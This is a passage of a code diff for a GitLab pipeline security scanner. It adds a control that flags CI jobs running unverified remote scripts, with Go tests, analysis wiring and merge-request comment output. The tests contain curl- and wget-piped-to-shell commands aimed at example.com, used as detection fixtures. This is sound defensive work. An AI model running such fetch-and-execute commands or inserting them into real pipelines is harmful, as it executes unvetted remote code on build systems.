+ }
+ }
+ if !blocks["before_script"] || !blocks["after_script"] {
+ t.Fatal("expected issues in both before_script and after_script")
+ }
+}
+
+// -- Multiple issues in one job --
+
+func TestUnverifiedScripts_MultipleIssuesPerJob(t *testing.T) {
+ conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true}
+
+ jobContent := map[interface{}]interface{}{
+ "script": []interface{}{
+ "curl https://example.com/first.sh | bash",
+ "echo 'safe command'",
+ "wget -qO- https://example.com/second.sh | sh",
+ },
+ }
+ data := buildOriginDataWithScriptJobs(map[string]interface{}{"multi": jobContent})
+
+ result := conf.Run(data)
+
+ if len(result.Issues) != 2 {
+ t.Fatalf("expected 2 issues, got %d", len(result.Issues))
+ }
+ if result.Metrics.UnverifiedScriptsFound != 2 {
+ t.Fatalf("expected 2 unverified scripts in metrics, got %d", result.Metrics.UnverifiedScriptsFound)
+ }
+}
+
+// -- Issue code and DocURL --
+
+func TestUnverifiedScripts_IssueCodeAndDocURL(t *testing.T) {
+ conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true}
+
+ jobContent := map[interface{}]interface{}{
+ "script": []interface{}{"curl https://example.com/install.sh | bash"},
+ }
+ data := buildOriginDataWithScriptJobs(map[string]interface{}{"install": jobContent})
+
+ result := conf.Run(data)
+
+ if len(result.Issues) != 1 {
+ t.Fatalf("expected 1 issue, got %d", len(result.Issues))
+ }
+
+ issue := result.Issues[0]
+ if issue.Code != CodeUnverifiedScriptExecution {
+ t.Fatalf("expected code %s, got %s", CodeUnverifiedScriptExecution, issue.Code)
+ }
+ if issue.DocURL != CodeUnverifiedScriptExecution.DocURL() {
+ t.Fatalf("expected DocURL %s, got %s", CodeUnverifiedScriptExecution.DocURL(), issue.DocURL)
+ }
+}
+
+// -- Case insensitivity --
+
+func TestUnverifiedScripts_CaseInsensitive(t *testing.T) {
+ conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true}
+
+ tests := []struct {
+ name string
+ script string
+ }{
+ {"CURL pipe BASH", "CURL -fsSL https://example.com/install.sh | BASH"},
+ {"Curl pipe Bash", "Curl -fsSL https://example.com/install.sh | Bash"},
+ {"WGET pipe SH", "WGET -qO- https://example.com/setup.sh | SH"},
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ jobContent := map[interface{}]interface{}{
+ "script": []interface{}{tt.script},
+ }
+ data := buildOriginDataWithScriptJobs(map[string]interface{}{"build": jobContent})
+ result := conf.Run(data)
+ if len(result.Issues) != 1 {
+ t.Fatalf("script %q should be flagged (case insensitive), expected 1 issue, got %d", tt.script, len(result.Issues))
+ }
+ })
+ }
+}
diff --git a/control/mrcomment.go b/control/mrcomment.go
index e95d553..0f0a316 100644
--- a/control/mrcomment.go
+++ b/control/mrcomment.go
@@ -204,6 +204,12 @@ func generateMRComment(result *AnalysisResult, compliance, threshold float64) st
totalIssues += len(r.Issues)
}
}
+ if r := result.UnverifiedScriptsResult; r != nil {
+ controls = append(controls, controlEntry{"Pipeline must not execute unverified scripts", r.Compliance, len(r.Issues), r.Skipped})
+ if !r.Skipped {
+ totalIssues += len(r.Issues)
+ }
+ }
// Controls summary table
b.WriteString("### Controls\n\n")
@@ -373,4 +379,17 @@ func writeIssueDetails(b *strings.Builder, result *AnalysisResult) {
}
b.WriteString("\n")
}
+
+ // Unverified script execution
+ if r := result.UnverifiedScriptsResult; r != nil && !r.Skipped && len(r.Issues) > 0 {
+ b.WriteString("**Pipeline must not execute unverified scripts:**\n")
+ for _, issue := range r.Issues {
+ if issue.JobName == "(global)" {
+ fmt.Fprintf(b, "- `%s` Global `%s`: `%s` ([docs](%s))\n", issue.Code, issue.ScriptBlock, issue.ScriptLine, issue.DocURL)
+ } else {
+ fmt.Fprintf(b, "- `%s` Job `%s` `%s`: `%s` ([docs](%s))\n", issue.Code, issue.JobName, issue.ScriptBlock, issue.ScriptLine, issue.DocURL)
+ }
+ }
+ b.WriteString("\n")
+ }
}
diff --git a/control/task.go b/control/task.go
index e3eef88..ee185e4 100644
--- a/control/task.go
+++ b/control/task.go
@@ -24,6 +24,7 @@ const (
controlPipelineMustNotEnableDebugTrace = "pipelineMustNotEnableDebugTrace"
controlPipelineMustNotUseUnsafeVariableExpansion = "pipelineMustNotUseUnsafeVariableExpansion"
controlSecurityJobsMustNotBeWeakened = "securityJobsMustNotBeWeakened"
+ controlPipelineMustNotExecuteUnverifiedScripts = "pipelineMustNotExecuteUnverifiedScripts"
)
// shouldRunControl applies --controls / --skip-controls filtering for a control.
@@ -74,7 +75,7 @@ func clearProgressLine(conf *configuration.Configuration) {
}
// analysisStepCount is the total number of progress steps reported during analysis.
-const analysisStepCount = 15
+const analysisStepCount = 16
// RunAnalysis executes the complete pipeline analysis for a GitLab project
func RunAnalysis(conf *configuration.Configuration) (*AnalysisResult, error) {
@@ -473,6 +474,23 @@ func RunAnalysis(conf *configuration.Configuration) (*AnalysisResult, error) {
securityJobsWeakenedResult := securityJobsWeakenedConf.Run(pipelineOriginData)
result.SecurityJobsWeakenedResult = securityJobsWeakenedResult
+ // 14. Run Pipeline Must Not Execute Unverified Scripts control
+ reportProgress(conf, 15, analysisStepCount, "Checking unverified script execution")
+ l.Info("Running Pipeline Must Not Execute Unverified Scripts control")
+
+ unverifiedScriptsConf := &GitlabPipelineUnverifiedScriptsConf{}
+ if shouldRunControl(controlPipelineMustNotExecuteUnverifiedScripts, conf) {
+ if err := unverifiedScriptsConf.GetConf(conf.PlumberConfig); err != nil {
+ l.WithError(err).Error("Failed to load UnverifiedScripts config from .plumber.yaml file")
+ return result, fmt.Errorf("invalid configuration: %w", err)
+ }
+ } else {
+ unverifiedScriptsConf.Enabled = false
+ }
+
+ unverifiedScriptsResult := unverifiedScriptsConf.Run(pipelineOriginData)
+ result.UnverifiedScriptsResult = unverifiedScriptsResult
+
reportProgress(conf, analysisStepCount, analysisStepCount, "Analysis complete")
l.WithFields(logrus.Fields{
diff --git a/control/types.go b/control/types.go
index d7dabf4..b504470 100644
--- a/control/types.go
+++ b/control/types.go
@@ -38,6 +38,7 @@ type AnalysisResult struct {
DebugTraceResult *GitlabPipelineDebugTraceResult `json:"debugTraceResult,omitempty"`
VariableInjectionResult *GitlabPipelineVariableInjectionResult `json:"variableInjectionResult,omitempty"`
SecurityJobsWeakenedResult *GitlabSecurityJobsWeakenedResult `json:"securityJobsWeakenedResult,omitempty"`
+ UnverifiedScriptsResult *GitlabPipelineUnverifiedScriptsResult `json:"unverifiedScriptsResult,omitempty"`
// Raw collected data (not included in JSON output, used for PBOM generation)
PipelineImageData *collector.GitlabPipelineImageData `json:"-"`